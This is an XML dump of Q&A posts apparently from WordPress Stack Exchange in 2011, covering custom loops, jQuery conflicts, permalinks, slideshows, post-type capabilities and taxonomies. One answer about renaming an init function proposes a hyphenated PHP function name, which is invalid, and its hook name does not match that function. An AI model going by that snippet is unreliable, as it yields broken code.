  <row Id="16963" PostTypeId="1" AcceptedAnswerId="16973" CreationDate="2011-05-11T15:25:36.330" Score="0" ViewCount="69" Body="&lt;p&gt;Okay I have a custom loop within the main loop of the page that shows 4 posts but obviously excludes the current main post. I'll show you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $my_query = new WP_Query( &quot;cat=3&amp;amp;posts_per_page=4&quot; );&#xA;    if ( $my_query-&amp;gt;have_posts() ) : while ( $my_query-&amp;gt;have_posts() ) : $my_query-&amp;gt;the_post();&#xA;        if($post-&amp;gt;ID == $mainPost) continue; ?&amp;gt;&#xA;        &amp;lt;?php get_template_part('workThumb'); ?&amp;gt;&#xA;    &amp;lt;?php endwhile; endif; wp_reset_postdata(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I want to show 4 posts in this loop but obviously if it contains the current post then it only shows 3. However if I increase the posts_per_page to 5 then on pages when it doesn't include the current post it shows 5 posts, which I don't want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this makes sense. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="5158" LastActivityDate="2011-05-11T16:53:50.993" Title="Exclude current post but keep the same posts-per_page amount" Tags="&lt;customization&gt;&lt;custom-loop&gt;" AnswerCount="1" />
  <row Id="16964" PostTypeId="1" CreationDate="2011-05-11T14:49:02.170" Score="0" ViewCount="212" Body="&lt;p&gt;I love &lt;a href=&quot;http://wordpress.org/extend/plugins/media-element-html5-video-and-audio-player/&quot; rel=&quot;nofollow&quot;&gt;the MediaElement.js plugin&lt;/a&gt; but I seem a little stumped. I have installed it on two WordPress sites: &lt;a href=&quot;http://blog.mattforget.com/?p=94&quot; rel=&quot;nofollow&quot;&gt;http://blog.mattforget.com/?p=94&lt;/a&gt; and &lt;a href=&quot;http://oedipus1.com/home/?p=3822&quot; rel=&quot;nofollow&quot;&gt;http://oedipus1.com/home/?p=3822&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sites are hosted with different providers. On &lt;code&gt;blog.mattforget.com&lt;/code&gt;, in Firefox, the player looks great. It looks great just like it was inserted into Chrome, the iPhone browser, IE and safari. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the &lt;code&gt;oedipus1.com&lt;/code&gt; site however, this does not happen. I end up seeing the broken player. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My original thought was that maybe a mime type of some sort was not active on the &lt;code&gt;oedipus1.com&lt;/code&gt; site that allows the plugin to work correctly, or that there is something conflicting with the plugin that is not allowing the player to show correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless of my thoughts, I'd like to run this past you to see if by looking at the two sites or maybe from your past experience, you may be able to tell me what the issue is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you let me know if there is something I am missing? I would appreciate it immensely.&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-27T20:15:23.877" LastActivityDate="2011-05-27T20:15:23.877" Title="MediaElement.js  works on one site but not the other?" Tags="&lt;plugins&gt;&lt;javascript&gt;&lt;media&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16965" PostTypeId="2" ParentId="16964" CreationDate="2011-05-11T15:45:23.723" Score="2" ViewCount="" Body="&lt;p&gt;The site that doesn't work is loading jQuery twice. remove the one included by your theme.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://www.oedipus1.com/home/wp-content/themes/GrungeMag/js/jquery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-11T15:45:23.723" />
  <row Id="16966" PostTypeId="1" AcceptedAnswerId="16974" CreationDate="2011-05-11T16:01:35.143" Score="0" ViewCount="218" Body="&lt;p&gt;I would like to be able to create a rotating background image that resizes with the browser window. I would like to also be able to set a certain amount of images to rotate per page or at the least start at a random number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example &gt; &lt;a href=&quot;http://www.theme-dutch.com/presents/screen/&quot; rel=&quot;nofollow&quot;&gt;http://www.theme-dutch.com/presents/screen/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin for this? I am assuming it's Jquery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5288" LastActivityDate="2011-05-11T17:13:39.820" Title="Wordpress Rotating Background Images" Tags="&lt;jquery&gt;&lt;images&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="16967" PostTypeId="2" ParentId="16880" CreationDate="2011-05-11T16:20:26.703" Score="3" ViewCount="" Body="&lt;p&gt;Let's see how many use cases I can come up with in 20 seconds (grin)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;School and university sites where every student gets a blog&lt;/li&gt;&#xA;&lt;li&gt;Community sites (BuddyPress) where every member gets a blog (i.e. Dieting sites like SparkPeople.com)&lt;/li&gt;&#xA;&lt;li&gt;News organizations where the many personalities get a blog (i.e. CBS, CNN, etc.)&lt;/li&gt;&#xA;&lt;li&gt;Businesses trying to emulate the Etsy.com business model, where every site has a store plugin and paypal chained payments gateway&lt;/li&gt;&#xA;&lt;li&gt;Businesses trying to emulate wordpress.com where free blogs are offered and upgrades are available for a fee&lt;/li&gt;&#xA;&lt;li&gt;Businesses that create mini-sites for every affiliate product they promote, on an automated basis&lt;/li&gt;&#xA;&lt;li&gt;Businesses that offer website hosting as a service - instead of a raw hosting account, subscribers get a multisite account pre-configured as a CMS for their business vertical, with access to support and features not available via wordpress.com &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2011-05-11T16:20:26.703" CommentCount="3" />
  <row Id="16968" PostTypeId="1" AcceptedAnswerId="16972" CreationDate="2011-05-11T16:21:00.370" Score="0" ViewCount="71" Body="&lt;p&gt;I'm new with &lt;code&gt;wordpress&lt;/code&gt; and I would like to understand better if it's possible to create pages with an url based on the &lt;code&gt;category&lt;/code&gt; and then the &lt;code&gt;post title&lt;/code&gt;, so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like &lt;code&gt;http://mysite.com/category-name/the-post-title&lt;/code&gt;&lt;br&gt;&#xA;or &lt;code&gt;http://mysite.com/category-name/12345&lt;/code&gt; (the post id)&lt;br&gt;&#xA;or &lt;code&gt;http://mysite.com/category-name/12345/the-post-title&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does exist some plug-in do this or should I consider other ways like &lt;code&gt;url_rewrite&lt;/code&gt; to do this?&lt;/p&gt;&#xA;" OwnerUserId="5287" LastActivityDate="2011-05-11T16:44:04.843" Title="Posts URL structure like site.com/category/the-post-title" Tags="&lt;categories&gt;&lt;url-rewriting&gt;&lt;urls&gt;&lt;plugins-url&gt;" AnswerCount="1" />
  <row Id="16972" PostTypeId="2" ParentId="16968" CreationDate="2011-05-11T16:44:04.843" Score="2" ViewCount="" Body="&lt;p&gt;Yes, any of those are possible and configurable under &lt;code&gt;Settings &amp;gt; Permalinks&lt;/code&gt;. Have a look at the &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;Permalinks&lt;/a&gt; page for other possibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to note though, it's suggested to add a number at the beginning of your permalinks to reduce the number of rewrite rules WordPress has to generate to resolve all of your URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The permalink strings for your examples would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/%category%/%postname%&#xA;&#xA;/%category%/%post_id%&#xA;&#xA;/%category%/%post_id%/%postname%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-11T16:44:04.843" CommentCount="1" />
  <row Id="16973" PostTypeId="2" ParentId="16963" CreationDate="2011-05-11T16:53:50.993" Score="1" ViewCount="" Body="&lt;p&gt;change your query to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $my_query = new WP_Query( array(&quot;cat&quot; =&amp;gt; 3, &quot;posts_per_page&quot; =&amp;gt; 4, &quot;post__not_in&quot; =&amp;gt; array($mainPost)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Post_.26_Page_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query#Post_.26_Page_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-11T16:53:50.993" CommentCount="1" />
  <row Id="16974" PostTypeId="2" ParentId="16966" CreationDate="2011-05-11T17:07:25.017" Score="2" ViewCount="" Body="&lt;p&gt;You can use CSS3 &lt;a href=&quot;https://developer.mozilla.org/en/CSS/background-size&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;background-size&lt;/code&gt;&lt;/a&gt; to make your background-images stretch to cover the area of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then create a containing box positioned absolutely over the whole page, you can put your slides in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At that point it is just a matter of fading them in and out, something which can be easily done via a jQuery plugin like &lt;a href=&quot;http://jquery.malsup.com/cycle/&quot; rel=&quot;nofollow&quot;&gt;Cycle&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's an example: &lt;a href=&quot;http://jsfiddle.net/ZnAqE/1/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/ZnAqE/1/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see all you need to do to add slides is create a new child &lt;code&gt;div&lt;/code&gt; for &lt;code&gt;#slideshow&lt;/code&gt;. In WordPress this can be done by looping over your gallery images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related reading:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://buildinternet.com/2009/02/supersized-full-screen-backgroundslideshow-jquery-plugin/&quot; rel=&quot;nofollow&quot;&gt;Supersized – Full Screen Background/Slideshow jQuery Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.marcofolio.net/webdesign/advanced_jquery_background_image_slideshow.html&quot; rel=&quot;nofollow&quot;&gt;Advanced jQuery background image slideshow&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-11T17:07:25.017" CommentCount="1" />
  <row Id="16975" PostTypeId="2" ParentId="16966" CreationDate="2011-05-11T17:13:39.820" Score="0" ViewCount="" Body="&lt;p&gt;Just take a look at their &lt;a href=&quot;http://www.theme-dutch.com/presents/screen/wp-content/themes/Screen1.4/js/functions.js&quot; rel=&quot;nofollow&quot;&gt;js-file&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-11T17:13:39.820" />
  <row Id="16976" PostTypeId="2" ParentId="16922" CreationDate="2011-05-11T17:22:07.803" Score="1" ViewCount="" Body="&lt;p&gt;Just to add to what other have said, beyond changing your php.ini settings, upload size is limited mainly by the browser/connection. There are more reliable browser bases solutions that use java/flash or a combination of tech that allow for uploads reliably up to 100MB.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.plupload.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.plupload.com/&lt;/a&gt;    &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.swfupload.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.swfupload.org/&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.uploadify.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.uploadify.com/&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://jumploader.com/&quot; rel=&quot;nofollow&quot;&gt;http://jumploader.com/&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="161" LastEditorDisplayName="" LastEditDate="2011-05-13T07:18:25.977" LastActivityDate="2011-05-13T07:18:25.977" CommentCount="2" />
  <row Id="16977" PostTypeId="1" AcceptedAnswerId="16983" CreationDate="2011-05-11T17:29:18.290" Score="0" ViewCount="55" Body="&lt;p&gt;I am using the members plugin and have a custom post type of &quot;listing&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I navigate to listings in the backend, I can edit. quickedit, and view.  There is no option to trash.  I am logged in as the admin.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'listing_init');&#xA;function listing_init()  &#xA;{  &#xA;$labels = array(&#xA;    'name' =&amp;gt; _x('Listing', 'post type general name'),&#xA;    'singular_name' =&amp;gt; _x('Listing', 'post type singular name'),&#xA;    'add_new' =&amp;gt; _x('Add New', 'Listing'),&#xA;    'add_new_item' =&amp;gt; __('Add New Listing'),&#xA;    'edit_item' =&amp;gt; __('Edit Listing'),&#xA;    'new_item' =&amp;gt; __('New Listing'),&#xA;    'view_item' =&amp;gt; __('View Listing'),&#xA;    'search_items' =&amp;gt; __('Search Listing'),&#xA;    'not_found' =&amp;gt;  __('No Listing found'),&#xA;    'not_found_in_trash' =&amp;gt; __('No Listing found in Trash'),&#xA;    'parent_item_colon' =&amp;gt; ''&#xA;  );&#xA;$args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'show_ui_menu' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'listing',&#xA;    'map_meta_cap' =&amp;gt; true,&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'menu_position' =&amp;gt; 5,&#xA;    'supports' =&amp;gt; array('title','editor','thumbnail'),&#xA;    'taxonomies' =&amp;gt; array('category')&#xA;  );&#xA; register_post_type('listing',$args);&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is the functions.php custom post type code that I am using. Everything else works great.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the members plugin I have roles for delete_listing and delete_listings (which I think is not necessary)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what I am doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2011-05-11T19:01:15.270" Title="How do I &quot;trash&quot; a custom post type post while logged in as Admin" Tags="&lt;custom-post-types&gt;&lt;customization&gt;&lt;roles&gt;&lt;members&gt;" AnswerCount="2" />
  <row Id="16980" PostTypeId="1" AcceptedAnswerId="16981" CreationDate="2011-05-11T18:23:29.987" Score="0" ViewCount="110" Body="&lt;p&gt;I'd like to count the number of posts created for every category, so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12 Works (12 posts in works category)&#xA;36 Pictures (36 posts in pictures category)&#xA;17 Furnitures (17 posts in furnitures category)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="5287" LastActivityDate="2011-05-11T18:46:32.637" Title="Count the posts number for every category" Tags="&lt;categories&gt;&lt;sort&gt;" AnswerCount="1" />
  <row Id="16981" PostTypeId="2" ParentId="16980" CreationDate="2011-05-11T18:46:32.637" Score="3" ViewCount="" Body="&lt;p&gt;You can use wp_list_categories() function and set show_count to 1 (true)&#xA; &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Tags/wp_list_categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-11T18:46:32.637" />
  <row Id="16982" PostTypeId="1" AcceptedAnswerId="16985" CreationDate="2011-05-11T18:54:06.553" Score="-2" ViewCount="64" Body="&lt;p&gt;Mike Schindel provided me this code long time ago:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Create the Blocks custom post type and the Sections custom taxonomy&#xA; */&#xA;add_action('init', 'my_init_method');&#xA;&#xA;if (!class_exists('YourSite_Blocks')) {&#xA;    class YourSite_Blocks {&#xA;        static function on_load() {&#xA;            add_action('init',array(__CLASS__,'init'));&#xA;            add_filter('manage_blocks_posts_columns',&#xA;                array(__CLASS__,'manage_blocks_posts_columns'));&#xA;            add_filter('manage_posts_custom_column',&#xA;                array(__CLASS__,'manage_posts_custom_column'),10,2);&#xA;            add_action('restrict_manage_posts',&#xA;                array(__CLASS__,'restrict_manage_posts'));&#xA;        }&#xA;        // Register custom post types and custom taxonomies&#xA;        static function init() {&#xA;            register_post_type('blocks',array(&#xA;                'labels' =&amp;gt; array(&#xA;                    'name' =&amp;gt; __( 'Blocks' ),&#xA;                    'singular_name' =&amp;gt; __( 'Block' ),&#xA;                    'add_new_item' =&amp;gt; 'Add New Block',&#xA;                    'edit_item' =&amp;gt; 'Edit Block',&#xA;                    'new_item' =&amp;gt; 'New Block',&#xA;                    'search_items' =&amp;gt; 'Search Block',&#xA;                    'not_found' =&amp;gt; 'No Blocks found',&#xA;                    'not_found_in_trash' =&amp;gt; 'No Blocks found in trash',&#xA;                ),&#xA;                'public' =&amp;gt; true,&#xA;                'hierarchical' =&amp;gt; false,&#xA;                'taxonomies' =&amp;gt; array( 'section'),&#xA;                'supports' =&amp;gt; array('title','editor','thumbnail','custom-fields'),&#xA;                'rewrite' =&amp;gt; array('slug'=&amp;gt;'blocks','with_front'=&amp;gt;false),&#xA;                'menu_position' =&amp;gt; 50,&#xA;            ));&#xA;            register_taxonomy('location','blocks',array(&#xA;                'hierarchical' =&amp;gt; true,&#xA;                'labels' =&amp;gt; array(&#xA;                    'name' =&amp;gt; __( 'Locations' ),&#xA;                    'singular_name' =&amp;gt; __( 'Location' ),&#xA;                    'add_new_item' =&amp;gt; 'Add New Location',&#xA;                    'edit_item' =&amp;gt; 'Edit Location',&#xA;                    'new_item' =&amp;gt; 'New Location',&#xA;                    'search_items' =&amp;gt; 'Search Location',&#xA;                    'not_found' =&amp;gt; 'No Location found',&#xA;                    'not_found_in_trash' =&amp;gt; 'No Locations found in trash',&#xA;                    'all_items' =&amp;gt; __( 'All Locations' ),&#xA;                ),&#xA;                'query_var' =&amp;gt; true,&#xA;                'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'location' ),&#xA;            ));&#xA;            register_taxonomy('section','blocks',array(&#xA;                'hierarchical' =&amp;gt; true,&#xA;                'labels' =&amp;gt; array(&#xA;                    'name' =&amp;gt; __( 'Sections' ),&#xA;                    'singular_name' =&amp;gt; __( 'Section' ),&#xA;                    'add_new_item' =&amp;gt; 'Add New Section',&#xA;                    'edit_item' =&amp;gt; 'Edit Section',&#xA;                    'new_item' =&amp;gt; 'New Section',&#xA;                    'search_items' =&amp;gt; 'Search Section',&#xA;                    'not_found' =&amp;gt; 'No Sections found',&#xA;                    'not_found_in_trash' =&amp;gt; 'No Sectionss found in trash',&#xA;                    'all_items' =&amp;gt; __( 'All Sections' ),&#xA;                ),&#xA;                'query_var' =&amp;gt; true,&#xA;                'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'section' ),&#xA;            ));&#xA;            // Add initial terms&#xA;            if (!get_option('yoursite-blocks-initialized')) {&#xA;                $terms = array(&#xA;                    'Intro',&#xA;                    'Tagline',&#xA;                    'Mainbar',&#xA;                    'Sidebar',&#xA;                    'Featured',&#xA;                    'Content',&#xA;                );&#xA;                foreach($terms as $term) {&#xA;                    if (!get_term_by('name',$term,'section')) {&#xA;                        wp_insert_term($term, 'section');&#xA;                    }&#xA;                }&#xA;                update_option('yoursite-blocks-initialized',true);&#xA;            }&#xA;        }&#xA;        // Arrange the position of elements in the table&#xA;        function manage_blocks_posts_columns($columns) {&#xA;            $columns = array(&#xA;                'cb' =&amp;gt; '&amp;lt;input type=&quot;checkbox&quot; /&amp;gt;',&#xA;                'title' =&amp;gt; 'Name',&#xA;                'location_column' =&amp;gt; 'Location',&#xA;                'section_column' =&amp;gt; 'Section',&#xA;                'author' =&amp;gt; 'Author',&#xA;                'date' =&amp;gt; 'Date',&#xA;            );&#xA;            return $columns;&#xA;        }&#xA;        // Verify that we are indeed working with only the custom post type and use a switch statement to test against the column&#xA;        function manage_posts_custom_column( $column,$post_id ) {&#xA;            global $typenow;&#xA;            if ($typenow=='blocks') {&#xA;                $location_taxonomy = 'location';&#xA;                $section_taxonomy = 'section';&#xA;                switch ($column) {&#xA;                case 'location_column':&#xA;                    $location_column = get_the_terms($post_id,$location_taxonomy);&#xA;                    if (is_array($location_column)) {&#xA;                        foreach($location_column as $key =&amp;gt; $location) {&#xA;                            $edit_link = get_term_link($location,$location_taxonomy);&#xA;                            $location_column[$key] = '&amp;lt;a href=&quot;'.$edit_link.'&quot;&amp;gt;' . $location-&amp;gt;name . '&amp;lt;/a&amp;gt;';&#xA;                        }&#xA;                        echo implode(' | ',$location_column);&#xA;                    }&#xA;                    break;&#xA;                case 'section_column':&#xA;                    $section_column = get_the_terms($post_id,$section_taxonomy);&#xA;                    if (is_array($section_column)) {&#xA;                        foreach($section_column as $key =&amp;gt; $section) {&#xA;                            $edit_link = get_term_link($section,$section_taxonomy);&#xA;                            $section_column[$key] = '&amp;lt;a href=&quot;'.$edit_link.'&quot;&amp;gt;' . $section-&amp;gt;name . '&amp;lt;/a&amp;gt;';&#xA;                        }&#xA;                        echo implode(' | ',$section_column);&#xA;                    }&#xA;                    break;&#xA;                }&#xA;            }&#xA;        }&#xA;        // Output multiple taxonomy filters&#xA;        function restrict_manage_posts() {&#xA;&#xA;            // Only display these taxonomy filters on desired custom post_type listings&#xA;            global $typenow;&#xA;            if ($typenow == 'blocks') {&#xA;&#xA;                // Create an array of taxonomy slugs you want to filter by - if you want to retrieve all taxonomies, could use get_taxonomies() to build the list&#xA;                $filters = array('location', 'section');&#xA;&#xA;                foreach ($filters as $tax_slug) {&#xA;                    // Retrieve the taxonomy object&#xA;                    $tax_obj = get_taxonomy($tax_slug);&#xA;                    $tax_name = $tax_obj-&amp;gt;labels-&amp;gt;name;&#xA;                    // Retrieve array of term objects per taxonomy&#xA;                    $terms = get_terms($tax_slug);&#xA;&#xA;                    // Output html for taxonomy dropdown filter&#xA;                    echo &quot;&amp;lt;select name='$tax_slug' id='$tax_slug' class='postform'&amp;gt;&quot;;&#xA;                    echo &quot;&amp;lt;option value=''&amp;gt;Show All $tax_name&amp;lt;/option&amp;gt;&quot;;&#xA;                    foreach ($terms as $term) {&#xA;                        // Output each select option line, check against the last $_GET to show the current option selected&#xA;                        echo '&amp;lt;option value='. $term-&amp;gt;slug, $_GET[$tax_slug] == $term-&amp;gt;slug ? ' selected=&quot;selected&quot;' : '','&amp;gt;' . $term-&amp;gt;name .' (' . $term-&amp;gt;count .')&amp;lt;/option&amp;gt;';&#xA;                    }&#xA;                    echo &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;    YourSite_Blocks::on_load();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It worked perfectly until now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a theme that seems to have a problem with the first line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'my_init_method');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way of modifying this code so that it can still work without that conflicting line of code?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-06-16T20:59:10.883" Title="Is there any way of not using my_init_method in the following code (that creates a custom post type)?" Tags="&lt;custom-post-types&gt;&lt;php&gt;" AnswerCount="2" />
  <row Id="16983" PostTypeId="2" ParentId="16977" CreationDate="2011-05-11T18:56:37.977" Score="1" ViewCount="" Body="&lt;p&gt;Might you need &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#Administrator&quot; rel=&quot;nofollow&quot;&gt;one of these Admin capabilities&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;delete_others_pages&lt;/li&gt;&#xA;&lt;li&gt;delete_others_posts&lt;/li&gt;&#xA;&lt;li&gt;delete_pages&lt;/li&gt;&#xA;&lt;li&gt;delete_plugins&lt;/li&gt;&#xA;&lt;li&gt;delete_posts&lt;/li&gt;&#xA;&lt;li&gt;delete_private_pages&lt;/li&gt;&#xA;&lt;li&gt;delete_private_posts&lt;/li&gt;&#xA;&lt;li&gt;delete_published_pages&lt;/li&gt;&#xA;&lt;li&gt;delete_published_posts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Unless you've modified the default capabilities for Administrator, to remove one or more of these capabilities, you should be able to delete any Post (of any Post-Type) as an Admin user.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-11T18:56:37.977" />
  <row Id="16984" PostTypeId="1" CreationDate="2011-05-11T18:56:39.013" Score="1" ViewCount="106" Body="&lt;p&gt;Using a hierarchal custom taxonomy associated with a custom post type, I need:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) To change the admin meta-box to a drop-down menu to make sure the post has only one term associated. The drop-down menu should show just the latest children terms, so let us say, for example, I have those two hierarchical terms:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Zone X&lt;/strong&gt;&#xA;&lt;br /&gt; --&gt; &lt;strong&gt;Package X&lt;/strong&gt; (Zone X's child)&#xA;&lt;br /&gt; ----&gt; &lt;strong&gt;District X&lt;/strong&gt; (Package X's child)&#xA;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Zone Y&lt;/strong&gt;&#xA;&lt;br /&gt; --&gt; &lt;strong&gt;Package Y&lt;/strong&gt; (Zone Y's child)&#xA;&lt;br /&gt; ----&gt; &lt;strong&gt;District Y&lt;/strong&gt; (Package Y's child)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want the drop-down to show only the latest children: &lt;strong&gt;District X&lt;/strong&gt; and &lt;strong&gt;District Y&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) To automatically select all parents of a selected child term when saving the post. So, let us say the user chose &lt;strong&gt;District Y&lt;/strong&gt; in my previous example, then both &lt;strong&gt;Package Y&lt;/strong&gt; and &lt;strong&gt;Zone Y&lt;/strong&gt; should be selected as well, behind the scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone help me with that please, or point me out to any helpful reference?&lt;br /&gt;&#xA;Thanks in advanced,&lt;/p&gt;&#xA;" OwnerUserId="5293" LastEditorUserId="5293" LastEditorDisplayName="" LastEditDate="2011-05-11T20:29:26.960" LastActivityDate="2011-08-12T06:22:37.707" Title="Custom Taxonomy back-end customizations" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;wp-admin&gt;&lt;taxonomy&gt;" AnswerCount="1" />
  <row Id="16985" PostTypeId="2" ParentId="16982" CreationDate="2011-05-11T18:59:35.057" Score="1" ViewCount="" Body="&lt;p&gt;What is the error message being generated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, to avoid conflicts, &lt;em&gt;all custom Theme functions, classes, options, constants, etc.&lt;/em&gt; should be &lt;em&gt;prefixed uniquely&lt;/em&gt;, e.g. using &lt;code&gt;theme-slug&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is highly likely that a generic function name like &lt;code&gt;my_init_method&lt;/code&gt; is used by another Plugin or Theme. Try renaming it to &lt;code&gt;mytheme-slug_init_method&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To implement, rename your function call from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_init_method() {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme-slug_init_method() {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, change your hook call from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'my_init_method' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'mytheme_init_method' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-11T18:59:35.057" CommentCount="2" />
